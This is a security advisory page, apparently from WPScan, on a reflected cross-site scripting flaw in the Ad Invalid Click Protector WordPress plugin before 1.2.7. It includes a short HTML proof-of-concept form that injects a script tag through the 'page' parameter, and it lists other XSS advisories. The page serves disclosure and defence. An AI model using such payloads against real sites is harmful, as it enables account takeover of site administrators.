Ad Invalid Click Protector (AICP) < 1.2.7 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not have sanitise and escape the page parameter before outputting it back in an attribute, leading to a Reflected cross-Site Scripting

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=aicp_banned_user_details" method="POST">
      <input type="hidden" name="page" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

ad-invalid-click-protector

Fixed in 1.2.7

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

73bd4b67-bf1a-44e1-9dad-4db29f99a47b

Timeline

Publicly Published

2022-04-05 (about 4 years ago)

Added

2022-04-05 (about 4 years ago)

Last Updated

2022-04-05 (about 4 years ago)

Other

Published

Title

Published

2023-12-27

Title

Easy Video Player < 1.2.2.11 - Contributor+ Stored XSS

Published

2026-04-03

Title

Widgets for Social Photo Feed < 1.8.0 - Unauthenticated Stored Cross-Site Scripting via feed_data

Published

2025-04-24

Title

Business Contact Widget <= 2.7.0 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2025-08-06

Title

Pets <= 1.4.1 - Reflected Cross-Site Scripting

Published

2026-01-06

Title

WP Js List Pages Shortcodes <= 1.21 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode Attribute